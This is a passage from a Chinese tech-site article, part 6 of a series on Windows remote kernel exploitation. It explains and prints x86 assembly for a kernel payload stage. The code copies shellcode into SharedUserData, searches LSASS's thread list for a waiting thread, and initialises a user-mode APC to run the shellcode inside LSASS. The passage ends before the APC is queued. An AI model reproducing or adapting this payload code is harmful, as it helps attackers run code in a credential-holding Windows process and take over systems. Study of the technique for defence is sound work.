科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道Windows远程内核漏洞注入(6)

Windows远程内核漏洞注入(6)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

I386体系支持4种访问权限,也就是通常所说的特权级别。Windows NT 使用了其中的两个权限,使得NT操作系统可以在不完全支持这四种特权级别的体系中运行。
  • 评论
  • 分享微博
  • 分享邮件
    虽然可以通过0xFFDFF000->0x18->0x30找到PEB,但我们有更好的选择:把代码存放到内核-用户-共享内存区域,通常被称为SharedUserData。0xFFDF0000处是一个可写的内存区域,在那里可以保存我们的代码。这个内存区域是从用户域被标记为只读的0x7FFE0000处映射而来的,这个映射在所有的平台上都一样,所以这是个不错的选择。 由于在这个区域的内存对所有进程来来说都是可读的,所以必要把地址空间切换到目标进程,可以直接从内核把代码写入到0xFFDF0000+0x800。当排队一个用户模式APC时,把0x7FFE0000+0x800作为参数。

  call @get_eip2

  @get_eip2:

  pop esi

  mov cx, shell code-$+1

  add esi, ecx ; Get shell code address

  mov cx, (shell code_end-shell code) ; Shell code size

  mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

  push edi

  mov edi, [edi] ; Copy shell code to SharedUserData

  rep movsb

  pop edi

  现在需要找到一个可以执行APC函数的线程。APC可以是内核模式APC或者用户模式APC,这里排队一个用户模式的APC。如果我们将要传递的线程没有处于“可报警等待状态”,那么用户模式APC将不会被调用。我前面已经简要的提到,一个线程可以通过调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable设置为TRUE就可以进入该状态。要找一个可用的线程需要访问该进程的ETHREAD指针,并且遍历每个线程直到找到我们所需要的线程为止。

  mov edx, [edi+16] ; Pointer to EPROCESS

  mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

  @find_delay:

  mov ecx, [ecx] ; Get next thread

  cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

  jnz @find_delay

  上面的代码首先通过EPROCESS结构的ThreadListHead LIST_ENTRY取得LSASS ETHREAD结构的指针,然后检测线程状态标志。一旦找到目标线程,我们设置EBP指向KTREAD结构,接下来我们要初始APC程序。

  xor edx, edx

  push edx

  push 01 ; push processor

  push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

  push edx ; push NULL

  push offset KROUTINE ; push KERNEL routine

  push edx ; push NULL

  push ebp ; push KTHREAD

  push esi ; push APC object

  call dword ptr _keinitializeapc ; initialize APC

  我们把用户模式Shell Code(存储在SharedUserData)的EIP作为KeInitializeApc的参数,同时必须传递一个将会被调用的内核程序。我们不需要这个程序做任何事情,只需要把返回指令指向shell code就可以了,该线程的KTHREAD结构对于执行我们的APC程序也必要的,APC对象将以指针变量的形式由ESI寄存器返回。现在可以将我们的APC程序插入到目标线程的APC队列。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章